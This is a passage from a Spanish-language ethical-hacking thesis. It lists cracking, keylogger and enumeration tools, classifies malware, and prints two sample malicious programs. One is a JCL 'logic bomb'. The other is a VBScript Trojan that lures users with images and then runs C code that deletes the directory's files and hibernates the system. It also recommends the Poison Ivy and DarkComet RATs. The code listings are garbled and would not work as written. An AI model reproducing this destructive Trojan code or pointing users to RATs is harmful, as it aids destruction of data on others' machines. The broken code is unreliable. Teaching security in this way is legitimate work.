 Brutos (Validación de fuerza bruta). 
Disponible en http://www.hoobie.net, de gran uso en el rompimiento e identificación de clientes, 
filtra, convierte, permuta y crea listas de usuarios. 
 Keylogger.  
                                            
83Familia de sistemas operativos para computadoras personales (PC). https://es.wikipedia.org/wiki/DOS 
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Roba contraseñas, el más utilizado es la versión IKLOGGER84, que crea interfaces y almacena 
logs, catalogando el host, el usuario, los puertos y el cifrado de usuario, los puertos y el cifrado 
de archivos o log. 
La construcción funcional del proceso de ataque, implica el reconocimiento, escaneo, acceso, 
explotación o ejecución, mantenimiento y borrado de huellas, para este proceso se pueden 
también utilizar además de las herramientas citadas, las de uso común o particulares, 
específicamente para configurar o valorar ataques en Windows, se pueden utilizar las formales y 
las de enumeración, tales como las que se señalan a continuación: 
 Herramientas formales. 
o Net: Accounts, View, Use, Group, Start (Ver figura 34). 
 Figura 34. Generación comando Net Start. 
Fuente: Aporte realizadores. 
                                            
84Software que se encarga de registrar las pulsaciones que se realizan en el teclado, para posteriormente 
memorizarlas en un fichero o enviarlas a través de internet. https://es.wikipedia.org/wiki/Keylogger. 
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o Ping 
 Herramientas de Enumeración. 
o Nbtstat. 
o Snmputil. 
o Ireasoning mib browser. 
o Regdmp.exe (Enumera registros). 
o User2SID. 
o SID2User85. 
o Cain&Abel86. 
o NBTDump87. 
o UserDump. 
o UserInfo. 
o IP Network Browser88. 
o Enum. 
 Lista usuarios. 
 Enumera maquinas. 
 Lista recursos. 
 Explora políticas de contraseñas. 
 Lista archivo de contraseñas. 
o DumPacl. 
o DumpSec. 
o Foca. 
El proceso del archivo de contraseñas, se valida en el sistema Windows, mediante el seguimiento 
de la figura (35). 
                                            
85Utilizados para recuperar los nombres de todas las cuentas de usuario y mucho más. 
http://www.windowsecurity.com/whitepapers/windows_security/Windows-Enumeration-USER2SID-
SID2USER.html. 
86Es una herramienta de recuperación de contraseñas para Microsoft 
Windows. https://es.wikipedia.org/wiki/Ca%C3%ADn_y_Abel_(software). 
87Programa que abusa de los que tienen NetBIOS abierto, saca los recursos que tiene y los usuarios del ordenador. 
http://www.bujarra.com/HerramientasHacking.html. 
88Es una herramienta de detección de IP en tiempo real. Escanea una subred o un rango de subredes. 
http://www.solarwinds.com/es/engineers-toolset/ip-network-browser.aspx. 
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Figura 35. Proceso de validación del archivo de contraseñas. 
Fuente. Aporte realizadores. 
 
3.4.3. Malware o software dañino. Se identifica con este nombre a la unidad lógica y funcional 
cuya estructura de comandos está orientada al conocimiento de un daño, destrucción o detención 
de un sistema computacional, básicamente el malware, se clasifica así [Enger 1990]: 
 Software con programa propulsor: Bombas lógicas, virus, caballo de Troya y trampa. 
o Bomba lógica: Programa condicionado y operado según sincronización de tiempo, que se 
estructura para congelar o destruir totalmente una unidad lógica, archivo, bitácora, cliente 
o servidor. 
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 Virus: Entidad que por catalogación funcional se despliega y ejecuta sobre arquitecturas, al 
ejecutar módulos de inyección que lo propagan, activan y ejecutan según su estructura, los 
virus se clasifican como se lista: 
 Parasito. 
 Residente en memoria. 
 De booteo o sector de arranque. 
 Furtivo. 
 Polimórfico. 
 Caballo de Troya: Entidad con apariencia útil que al ejecutarse genera daños de alto 
impacto en el sistema. 
 Trampa: Entidad que en el estado convencional de operación, puede modificar con 
decisiones o generar daños, al ejecutar acciones no previstas pero de fácil detección en el 
código. 
 Software con independencia funcional: Zombi, Gusano. 
Sus principales características son [Stallings 2010]: 
 Zombi: Programa no percibido que se instala sobre una plataforma base, para direccionar 
un ataque sobre otra definida. 
 Gusano: Programa con proyección automática que duplica su residencia mediante 
propagación selectiva o aleatoria. 
Para fines de documentación, se presentan los módulos que ejemplifican formalmente el 
software dañino, estos son: 
 Caso 1: Bomba lógica. El segmento JCL, carga unos parámetros de operación supuestamente 
asociados con un proceso pero ejecuta otro diferente. 
//ProLibre15 Job Class=B, Region = 0n, nsgClass=H, nsgLevel= (1, 1) 
//JobLib DD Dsn=Cobp.Libre.LoadLip.Batch, Disp=SHR 
//%%Set %%.Fecho=%$ODate 
//Propo1 exec pgn=Indice10, Cond= (0,Lt) 
//Entra DD Dsn=Gof.50015.ProLib15.ProLib16.Td005, Disp=SHR, Bufno=50 
//QRLSDBZ DD SysOut = (x, , ) 
//SysOut DD SysOut = (x, , , ) 
//SysPrint DD SysOut = (x, , ) 
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//SysTprt DD SysOut = (x, , , ) 
//SysSin DD Dummy 
//SysUdump DD Dummy 
//SysTsin DD x 
DSN System (DBZP) 
Run program (ProLib83) Plan (Libre45) 
End 
// 
 Caso 2: Caballo de Troya. Con este script se muestran videos o fotos que cautivan al usuario y 
luego se encadena a un programa C++, que borra los archivos del directorio y coloca en modo de 
hibernación al sistema. 
Set WshShell = WScript.CreateObject("WScript.Shell") 
Dim newsA1, newsA2, Libre 
NewsA1 = "Merry Christmas and Happy New year" 
NewsA2 = "I am just for you, kiss me" 
WshShell.Run "Navidad.jpg" 
Set Libre = CreateObject("SAPI.SpVoice") 
Libre.Speak NewsA1 
MsgBox "Contempla esta belleza",20,"Deleitate" 
WshShell.Run "Mujer.jpg" 
Libre.Speak NewsA2 
MsgBox "Soy para ti",1024,"Disfrutame por favor" 
WshShell.Run "Progra50.jpg" 
MsgBox "Todo esta listo",512,"Felicidades" 
WshShell.Run "otro.exe" 
Este script, encadena el código que se guarda como otro.exe, su estructura se lista así: 
#Include <windows.h> 
#Include <conio.h> 
#Include <stdio.h> 
#Include <stdlib.h> 
main ( int argc, char *argv[], char *envp[]) 
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{ 
int k; 
for (k=0;envp[k]=!null;k++) 
print f ("%s\n",envp[k]); 
getch(); 
k=0; 
while (k<20000) 
{ 
PutEnv ("UserDomain = Libre30"); 
PutEnv ("UserDomain = Juandre80"); 
system ("cls"); 
system ("set"); 
system ("Attrib -r *.*"); 
system ("del *.*"); 
system ("ShutDown -h"); 
k++ 
} 
Return (0); 
} 
En la red, es posible que el interesado evalúe los siguientes troyanos: 
 Poison ivy89 (http://www.poisonidyv.rat.com). 
 Dark comet90 (http://www.darkcomet.rat.com). 
Su familiarización es de gran importancia, para quienes exploran el umbral de los hackers. 
 
 
 
 
  
                                            
89Permite tomar capturas de pantalla, activar la webcam, robar las pulsaciones del teclado, acceso a los archivos de 
la víctima, etc. http://www.redeszone.net/2013/08/22/poison-ivy-sigue-siendo-utilizado-en-ataques-informaticos/ 
90Esta herramienta permite acceder a otro ordenador. https://nl.wikipedia.org/wiki/DarkComet_RAT 
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4. CONCLUSIONES 
 El hacking ético como componente de la formación electiva de seguridad informática, 
constituye un escenario de gran importancia para la formación del ingeniero de sistemas en la 
Universidad Libre, razón por la cual la elaboración de instrumentos de soporte y aprendizaje 
constituyen el mejor objetivo, para permitir que el programa cuente con material idóneo 
desarrollado a su interior. 
 Procedimentalmente la construcción de un vector de ataque, es el resultado de la integración 
de un conjunto de componentes resultantes del proceso de análisis de vulnerabilidad que en este 
trabajo se ha expuesto con detalle no descuidando el análisis matemático requerido. 
 El hacking ético presentado como fundamento especializado mediante las 3 unidades de 
aprendizaje desarrolladas, complementa lógicamente la acción del docente orientador, invita al 
desarrollo de competencias argumentativas y propositivas para despertar en el estudiante el 
interés proyectivo de una certificación en el área. 
  
104 
 
REFERENCIAS BIBLIOGRÁFICAS 
 Textos y publicaciones 
o Capmany José y Ortega Beatriz. Redes Ópticas. Editorial Limusa 2012. 
o Chow, R., Johnson, T. Distributed Operating Systems and Algorithms. Editorial Addison 
Wesley 2000. 
o García-Morán Alberto y otros. Hacking y Seguridad Digital. Editorial Alfaomega 2013. 
o Meyer Paul. Probabilidad y Aplicaciones Estadísticas. Editorial Fondo Educativo 2001.  
o Obregon Ivan. Teoría de la Probabilidad. Editorial Limusa 2004.  
o Reiss Levi. Windows Inside and Out and Unix System Administration. Editorial MCGraw 
Hill 2006. 
o Schneier B. Secrets and Lies: Digital Security in a Network World. Editorial Wiley 2000. 
o Sheldon Tom. Redes hoy y mañana. Lan Times guía de interoperabilidad. Editorial 
MCGraw Hill 2006. 
o Stallings William. Fundamentos de Seguridad en Redes. Editorial Pearson 2012. 
o Tanenbaum Andrew y Van Steen Maarten. Sistemas Distribuidos: Principios y paradigmas. 
Editorial Pearson 2012. 
o Tomasi Wayne. Sistemas Electrónicos de Comunicaciones. Editorial Prentice Hall 2010. 
 Cibergrafía 
o http://hacking-etico.com/ 
o http://noticias.universia.net.co/en-portada/noticia/2010/11/17/686475/seguridad-
informatica-tema-central-hacking-etico-2010.html 
o http://www.gitsinformatica.com/hackers.html 
105 
 
o http://www.justdocument.com/download/99292367000/sistema-de-deteccion-de-
intrusiones-papeles-teoria-informatica-tesis-trabajos-academicos-/ 
o http://www.alegsa.com.ar/Dic/delito%20informatico.php 
o https://jorgesaavedra.wordpress.com/2007/08/11/%C2%BFque-es-hijacking/ 
o http://seguridadinformaica.blogspot.com.co/p/tecnicas-para-asegurar-un-sistema.html 
o https://docs.google.com/presentation/d/1jJ8hng0PkjepdxIcnLgj1fboUDTDQvkQO9N-
WYJkuD4/edit 
o https://www.infospyware.com/articulos/que-son-los-malwares/ 
o http://www.informatica-hoy.com.ar/aprender-informatica/Firmware-Un-intermediario-
entre-el-hardware-y-el-software.php 
 
 
 
  
106 
 
 
 
 
 
 
  
RELACIÓN DE ANEXOS 
Anexo A: Ley 1273 
Objetivo: 
Presentar el marco de acción legal, que sustenta jurídicamente la creación de un bien jurídico que protege 
la información. 
Fuente: 
http://www.derechodeautor.gov.co/documents/10181/331998/Cartilla+derecho+de+autor+%28Alfredo+Ve
ga%29.pdf/e99b0ea4-5c06-4529-ae7a-152616083d40 Manual de derecho de autor 
 
107 
 
ANEXO A: Ley 1273 
 
La ley 1273, contempla, como base formal, el cuerpo de acción   por medio de la cual se 
modifica el Código Penal, se crea un nuevo bien jurídico tutelado  denominado "De la protección 
de la información y de los datos"  y se preservan integralmente los sistemas que utilicen las 
tecnologías de la información y las comunicaciones, entre otras disposiciones; 
complementariamente a la luz de dicha ley , el delito informático surge como nueva entidad que 
demanda la presencia del juez para contrarrestar el acceso ilícito al patrimonio de terceros  a 
través de clonación de tarjetas bancarias, vulneración y alteración de los sistemas de cómputo 
para recibir servicios y transferencias electrónicas de fondos mediante manipulación de 
programas y afectación de los cajeros automáticos, que se validan jurídicamente, mediante la 
consideración de dos facetas importantes, a saber : De los atentados contra la confidencialidad, la 
integridad y la disponibilidad de los datos y de los sistemas informáticos y de los atentados 
informáticos y otras infracciones. 
 
